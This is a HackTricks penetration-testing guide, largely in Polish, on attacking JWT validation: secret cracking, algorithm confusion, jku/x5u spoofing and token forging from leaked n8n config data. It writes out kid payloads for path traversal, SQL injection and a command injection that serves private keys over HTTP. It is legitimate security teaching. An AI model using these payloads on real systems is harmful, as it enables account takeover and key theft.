JWT Podatności (Json Web Tokens)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Część tego wpisu opiera się na świetnym poście: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor świetnego narzędzia do pentest JWTs https://github.com/ticarpi/jwt_tool

Szybkie zwycięstwa

Uruchom jwt_tool w trybie All Tests! i poczekaj na zielone linie

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Jeśli masz szczęście, narzędzie znajdzie przypadek, w którym aplikacja webowa niepoprawnie weryfikuje JWT:

Następnie możesz wyszukać żądanie w swoim proxy lub zrzucić JWT użyty w tym żądaniu, korzystając z jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Praktyczny proces oceny JWT

  • Określ zakres kontroli sesji: Wybierz żądanie specyficzne dla użytkownika (np. profile, billing). Usuń cookies/headers jeden po jednym aż żądanie zostanie odrzucone, aby wyizolować, które token(s) faktycznie kontrolują authorization.
  • Zlokalizuj JWT w ruchu: Zwykle występują w Authorization: Bearer <JWT>, ale pojawiają się też w custom headers lub cookies. Jeśli Burp ich nie podświetla, użyj Target → Site map → Engagement tools → Search z wzorcami regex takimi jak:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Dekoduj i enumeruj: Użyj Burp JWT Editor lub python3 jwt_tool.py <JWT> aby odczytać header/payload. Zwróć uwagę na alg, exp/token lifetime oraz na authn/authz-driving claims (role, id, username, email, itd.).
  • Kontrola poprawności wymuszania podpisu: Zmień lub usuń kilka bajtów w części podpisu i odtwórz żądanie. Zaakceptowanie oznacza brak weryfikacji podpisu i pozwala bezpośrednio modyfikować payload claims.
  • Cel: Modyfikuj payload claims, aby eskalować uprawnienia; każdy opisany poniżej atak ma na celu skłonienie serwera do zaakceptowania zmanipulowanego payload poprzez nadużycie słabej weryfikacji, słabych secrets lub niebezpiecznego wyboru klucza.

Modyfikuj dane bez zmieniania podpisu

Możesz po prostu manipulować danymi pozostawiając podpis bez zmian i sprawdzić, czy serwer weryfikuje podpis. Spróbuj na przykład zmienić swoje username na “admin”.

Czy token jest weryfikowany?

  • Komunikat o błędzie sugeruje, że weryfikacja jest wykonywana; wrażliwe szczegóły w verbose errors powinny zostać przeanalizowane.
  • Zmiana zwróconej strony również wskazuje na weryfikację.
  • Brak zmian sugeruje brak weryfikacji; wtedy warto eksperymentować z modyfikacją payload claims.

Pochodzenie

Ważne jest ustalenie, czy token został wygenerowany po stronie serwera czy klienta poprzez analizę historii żądań w proxy.

  • Tokeny po raz pierwszy widziane po stronie klienta sugerują, że key może być ujawniony w kodzie po stronie klienta, co wymaga dalszego badania.
  • Tokeny pochodzące z serwera wskazują na bezpieczny proces.

Czas ważności

Sprawdź, czy token trwa dłużej niż 24h… może nigdy nie wygasa. Jeśli istnieje pole “exp”, sprawdź, czy serwer poprawnie je obsługuje.

Brute-force HMAC secret

See this page.

If the header uses HS256, dump the token to a file and try offline cracking:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Gdy sekret zostanie odzyskany, załaduj go jako klucz symetryczny w Burp JWT Editor i ponownie podpisz zmodyfikowane claims.

Wyprowadź sekrety JWT z leaked config + DB data

Jeśli dowolny odczyt pliku (lub backup leak) ujawni zarówno application encryption material, jak i user records, czasami możesz odtworzyć sekret podpisywania JWT i sfałszować ciasteczka sesji bez znajomości żadnych haseł w postaci jawnej. Przykładowy wzorzec zaobserwowany w stosach automatyzacji workflow:

  1. Leak the app key (e.g., encryptionKey) from a config file.
  2. Leak the user table to obtain email, password_hash, and user_id.
  3. Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Wstaw podpisany token do ciasteczka sesji (np. n8n-auth), aby podszyć się pod konto użytkownika/admina nawet jeśli hash hasła został posolony.

Modify the algorithm to None

Ustaw algorytm używany jako “None” i usuń część podpisu.

Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

Algorytm HS256 używa klucza sekretnego do podpisywania i weryfikacji każdej wiadomości.
Algorytm RS256 używa klucza prywatnego do podpisywania wiadomości i używa klucza publicznego do uwierzytelniania.

If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

New public key inside the header

Atakujący umieszcza nowy klucz w nagłówku tokena, a serwer używa tego klucza do weryfikacji podpisu (CVE-2018-0114).

This can be done with the “JSON Web Tokens” Burp extension.
(Send the request to the Repeater, inside the JSON Web Token tab select “CVE-2018-0114” and send the request).

JWKS Spoofing

Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, szczególnie tych używających pola nagłówka “jku”. To pole powinno wskazywać na plik JWKS (JSON Web Key Set) zawierający klucz publiczny niezbędny do weryfikacji tokena.

  • Ocena tokenów z nagłówkiem “jku”:

  • Zweryfikuj URL w polu “jku”, aby upewnić się, że prowadzi do właściwego pliku JWKS.

  • Zmień wartość “jku” w tokenie, aby wskazywała na kontrolowany serwis WWW, co pozwoli na obserwację ruchu.

  • Monitoring for HTTP Interaction:

  • Obserwacja żądań HTTP do wskazanego URL oznacza, że serwer próbuje pobrać klucze z Twojego linku.

  • Używając jwt_tool do tego procesu, ważne jest zaktualizowanie pliku jwtconf.ini o lokalizację Twojego JWKS, aby ułatwić testowanie.

  • Command for jwt_tool:

  • Execute the following command to simulate the scenario with jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Przegląd problemów związanych z kid

Opcjonalne pole nagłówka kid służy do identyfikacji konkretnego klucza, co jest szczególnie istotne w środowiskach, gdzie istnieje wiele kluczy używanych do weryfikacji podpisu tokena. Pole to pomaga wybrać odpowiedni klucz do weryfikacji podpisu tokena.

Odkrywanie klucza przez kid

Gdy pole kid jest obecne w nagłówku, zaleca się przeszukanie katalogu webowego w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono "kid":"key/12345", należy szukać plików /key/12345 i /key/12345.pem w katalogu root serwisu.

Path Traversal z “kid”

Pole kid może być również wykorzystane do poruszania się po systemie plików, co potencjalnie pozwala na wybranie dowolnego pliku. Można testować łączność lub przeprowadzić ataki Server-Side Request Forgery (SSRF) poprzez zmianę wartości kid, aby celować w konkretne pliki lub usługi. Modyfikacja JWT w celu zmiany wartości kid przy zachowaniu oryginalnego podpisu może być wykonana przy użyciu flagi -T w jwt_tool, jak pokazano poniżej:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Atakując pliki o przewidywalnej zawartości, można sfałszować prawidłowy JWT. Na przykład plik /proc/sys/kernel/randomize_va_space w systemach Linux, znany z tego, że zawiera wartość 2, może być użyty w parametrze kid, z 2 jako symetrycznym hasłem do wygenerowania JWT.

Praktycznym wzorcem przy ładowaniu kluczy z kruchego systemu plików jest wygenerowanie klucza HS256 z JWK k ustawionym na AA==, ustawienie kid na ścieżkę traversalu taką jak ../../../../../../../dev/null i ponowne podpisanie — niektóre implementacje traktują pusty plik jako prawidłowy sekret HMAC i zaakceptują sfałszowane tokeny.

SQL Injection przez “kid”

Jeśli zawartość roszczenia kid jest używana do pobrania hasła z bazy danych, modyfikacja ładunku kid może umożliwić SQL injection. Przykładowy ładunek wykorzystujący SQL injection do zmiany procesu podpisywania JWT to:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Ta modyfikacja wymusza użycie znanego sekretnego klucza ATTACKER do podpisania JWT.

OS Injection przez “kid”

Sytuacja, w której parametr kid określa ścieżkę do pliku wykorzystywaną w kontekście wykonywania poleceń, może prowadzić do podatności Remote Code Execution (RCE). Poprzez wstrzyknięcie poleceń do parametru kid można ujawnić klucze prywatne. Przykładowy ładunek umożliwiający RCE i wycieki kluczy to:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
Jeśli token używa roszczenia nagłówka “jku” (Header), to sprawdź wskazany URL. Powinien on wskazywać URL zawierający plik JWKS przechowujący Public Key służący do weryfikacji tokena. Podmień token tak, aby wartość jku wskazywała na usługę webową, dla której możesz monitorować ruch.

Najpierw musisz utworzyć nowy certyfikat z nowymi private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Następnie możesz na przykład użyć jwt.io do utworzenia nowego JWT z utworzonymi public and private keys oraz ustawieniem parametru jku na utworzony certificate. Aby stworzyć prawidłowy jku certificate możesz pobrać oryginalny i zmienić potrzebne parametry.

Parametry “e” i “n” możesz uzyskać z public certificate używając:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Jeśli weryfikator pobiera materiał klucza zdalnie, osadź URL Burp Collaborator w jku/x5u używając JWT Editor → Attack → Embed Collaborator payload. Każde wywołanie zwrotne potwierdza odzyskanie klucza w stylu SSRF; następnie hostuj własny JWKS/PEM pod tym URL i ponownie podpisz przy użyciu swojego klucza prywatnego, aby serwis zatwierdzał tokeny wygenerowane przez atakującego.

x5u

X.509 URL. URI wskazujący na zestaw certyfikatów publicznych X.509 (standard formatu certyfikatów) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym użytym do podpisania tego JWT. Kolejne certyfikaty podpisują poprzedni, tworząc w ten sposób łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Wymagane jest zabezpieczenie warstwy transportowej do przesyłania certyfikatów.

Spróbuj zmienić ten nagłówek na URL pod Twoją kontrolą i sprawdź, czy zostanie odebrane jakieś żądanie. W takim przypadku możesz zmodyfikować JWT.

Aby sfałszować nowy token przy użyciu certyfikatu kontrolowanego przez Ciebie, musisz utworzyć certyfikat i wyodrębnić klucz publiczny oraz klucz prywatny:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Następnie możesz użyć na przykład jwt.io aby stworzyć nowy JWT z utworzonym kluczem publicznym i prywatnym oraz ustawiając parametr x5u na utworzony plik certyfikatu .crt.

Możesz też wykorzystać obie te vulns do SSRFs.

x5c

Ten parametr może zawierać certyfikat w base64:

Jeżeli atakujący wygeneruje certyfikat samopodpisany i utworzy sfałszowany token używając odpowiadającego klucza prywatnego, oraz zastąpi wartość parametru “x5c” nowo wygenerowanym certyfikatem i zmodyfikuje pozostałe parametry, mianowicie n, e i x5t, to w zasadzie sfałszowany token zostanie zaakceptowany przez serwer.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Osadzony Public Key (CVE-2018-0114)

Jeśli JWT ma osadzony public key jak w poniższym scenariuszu:

Używając poniższego skryptu nodejs, można wygenerować public key z tych danych:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Możliwe jest wygenerowanie nowej pary kluczy prywatny/publiczny, osadzenie nowego klucza publicznego wewnątrz tokenu i użycie go do wygenerowania nowego podpisu:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Możesz uzyskać wartości “n” i “e”, używając tego skryptu nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

W końcu, używając klucza publicznego i prywatnego oraz nowych wartości “n” i “e” możesz użyć jwt.io aby sfałszować nowy ważny JWT z dowolnymi informacjami.

ES256: Odkrycie klucza prywatnego przy użyciu tego samego nonce

Jeśli niektóre aplikacje używają ES256 i używają tego samego nonce do wygenerowania dwóch jwts, klucz prywatny może zostać odtworzony.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

Pole JTI (JWT ID) zapewnia unikalny identyfikator dla tokena JWT. Może być użyte do zapobieżenia ponownemu użyciu tokena.
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądanie 0001 i 10001 będą używać tego samego ID. Więc jeśli backend inkrementuje ID przy każdym żądaniu, możesz to nadużyć aby odtworzyć żądanie (konieczne będzie wysłanie 10000 żądań pomiędzy każdym udanym odtworzeniem).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

Zaobserwowano, że niektóre aplikacje webowe polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Zarejestrowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwujesz wydawanie lub odświeżanie JWT przez usługę third-party, należy sprawdzić możliwość rejestracji konta w innej aplikacji-kliencie tej usługi używając tej samej nazwy użytkownika/email. Następnie warto spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie on zaakceptowany.

  • Akceptacja Twojego tokena może wskazywać na krytyczny problem, potencjalnie umożliwiając podszywanie się pod konto dowolnego użytkownika. Należy jednak pamiętać, że może być wymagane uzyskanie zgody na szersze testy, jeśli rejestracja na zewnętrznej aplikacji wchodzi w grę, gdyż może to wejść w prawną szarą strefę.

Expiry Check of Tokens

Wygasanie tokena jest sprawdzane przy użyciu pola “exp” w Payload. Biorąc pod uwagę, że JWT są często używane bez dodatkowych informacji o sesji, wymagane jest ostrożne obchodzenie się z nimi. W wielu przypadkach przechwycenie i odtworzenie JWT innego użytkownika może umożliwić podszycie się pod tego użytkownika. RFC dotyczące JWT zaleca ograniczanie ataków replay poprzez użycie pola “exp” do ustawienia czasu wygaśnięcia tokena. Dodatkowo, istotne jest, aby aplikacja wprowadziła odpowiednie sprawdzenia przetwarzania tej wartości i odrzucała wygasłe tokeny. Jeśli token zawiera pole “exp” i limity czasowe testów na to pozwalają, zaleca się przechowanie tokena i odtworzenie go po upływie czasu wygaśnięcia. Zawartość tokena, w tym parsowanie znaczników czasu i sprawdzanie wygaśnięcia (znacznik czasu w UTC), można odczytać używając jwt_tool z flagą -R.

  • Może istnieć ryzyko bezpieczeństwa, jeśli aplikacja nadal weryfikuje token, ponieważ może to oznaczać, że token nigdy nie wygasa.

Tools

  • jwt_tool – dekodowanie, manipulacja claimami/nagłówkami, offline łamanie sekretów (-C) i półautomatyczne tryby ataku (-M at).
  • Burp JWT Editor – dekodowanie/ponowne podpisywanie w Repeater, generowanie niestandardowych kluczy i uruchamianie wbudowanych ataków (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – GPU-przyspieszone łamanie sekretów HS256 po wyeksportowaniu JWTów do wordlisty.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks